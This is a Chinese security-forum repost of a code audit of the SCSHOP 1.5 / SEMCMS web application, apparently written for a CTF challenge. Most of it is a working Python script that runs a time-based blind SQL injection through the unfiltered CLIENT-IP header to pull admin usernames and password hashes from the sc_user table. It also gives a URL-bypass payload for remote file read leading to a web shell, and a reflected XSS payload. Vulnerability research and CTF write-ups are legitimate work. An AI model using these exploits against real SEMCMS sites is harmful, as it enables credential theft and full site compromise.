安全矩阵

 找回密码
 立即注册
搜索
查看: 3002|回复: 0

某cms代码审计

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-9 14:44:11 | 显示全部楼层 |阅读模式
原文链接:某cms代码审计

SCSHOP1.5代码审计深育杯的一到题:
源码下载地址https://www.sem-cms.cn/wenda/view-52.html
看一下代码逻辑结构

  1. include_once 'db_con.php'; 数据库配置
  2. include_once 'Ant_Check.php'; sql注入检测
  3. include_once 'Ant_Class.php'; 数据操作
  4. include_once 'Ant_Contrl.php'; 一些函数封装
  5. include_once 'class.phpmailer.php'; 邮件操作
  6. include_once 'Ant_Config.php'; 全局设置
  7. include_once 'Ant_Shop.php';  商品属性的一些设置函数
复制代码



发现它只是对GET就行了过滤!
看看有没有其它方式的参数获取!
Core/Program/Ant_Contrl.php 里
GetIp 函数返回ip! 这里我们可控!而且不受过滤!

调用的地方有:

测试:
注入成功
poc
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. # @Time    : 2021/11/28 18:28
  4. # @Author  : upload
  5. # @File    : aa.py
  6. # @Software: PyCharm
  7. import requests

  8. proxy = '127.0.0.1:8086'
  9. proxies = {
  10.     'http': 'http://' + proxy,
  11.     'https': 'https://' + proxy,
  12. }
  13. url = "http://anxun.com:80/Template/Default/File/search.php"
  14. cookies = {"XDEBUG_SESSION": "PHPSTORM", "PHPSESSID": "moigehp8edd6g71hltptjjogs4", "UM_distinctid": "17d6e9309a5d7-0e967d747fce92-d7e163f-144000-17d6e9309a6a63", "CNZZDATA1279754351": "673588782-1638237672-null%7C1638237672"}
  15. headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "Origin": "http://anxun.com", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://anxun.com/Template/Default/File/search.php", "CLIENT-IP": "'or sleep(3) or'", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
  16. data = {"search": "1"}

  17. print(headers['CLIENT-IP'])
  18. flag=''
  19. for i in range(1,100):
  20.     f1=flag
  21.     top=127
  22.     low=33
  23.     while low<=top:
  24.         mid = (top + low) // 2
  25.         print(i,mid)
  26.         payload1 = '\'or if((ord(substr((select(group_concat(user_name,"~",user_ps,"~",user_name))from(sc_user)),{},1))={}),sleep(3),0) or\''.format(i,mid)
  27.         payload2 = '\'or if((ord(substr((select(group_concat(user_name,"~",user_ps,"~",user_name))from(sc_user)),{},1))>{}),sleep(3),0) or\''.format(i,mid)

  28.         headers['CLIENT-IP'] = payload1

  29.         try:
  30.             r1 = requests.post(url, data=data,headers=headers,timeout=2,proxies=proxies)
  31.             print(headers)
  32.         except:
  33.             flag +=chr(mid)
  34.             print(flag)
  35.             break
  36.         else:
  37.             try:
  38.                 headers['CLIENT-IP'] = payload2
  39.                 r2 = requests.post(url, data=data,headers=headers,timeout=2,proxies=proxies)
  40.             except:
  41.                 low = mid + 1
  42.             else:
  43.                 top = mid - 1
  44.     if flag == f1:
  45.         break
  46. print(flag)
复制代码



解密后 semcms
其它地方的sql注入应该也可以!
后台挖掘有一个任意文件读取!
从远程读取文件!

最后可以保存它

不过要绕过限制:


payload:
url=http://sem-cms.cn@0.0.0.0/index.php
成功写入:

getshell


xss反射型
http://anxun.com/r20A88_A2M/Ant_ ... p;aed=a&sortID="<script>alert('XSS')</script>"



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 08:52 , Processed in 0.013733 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表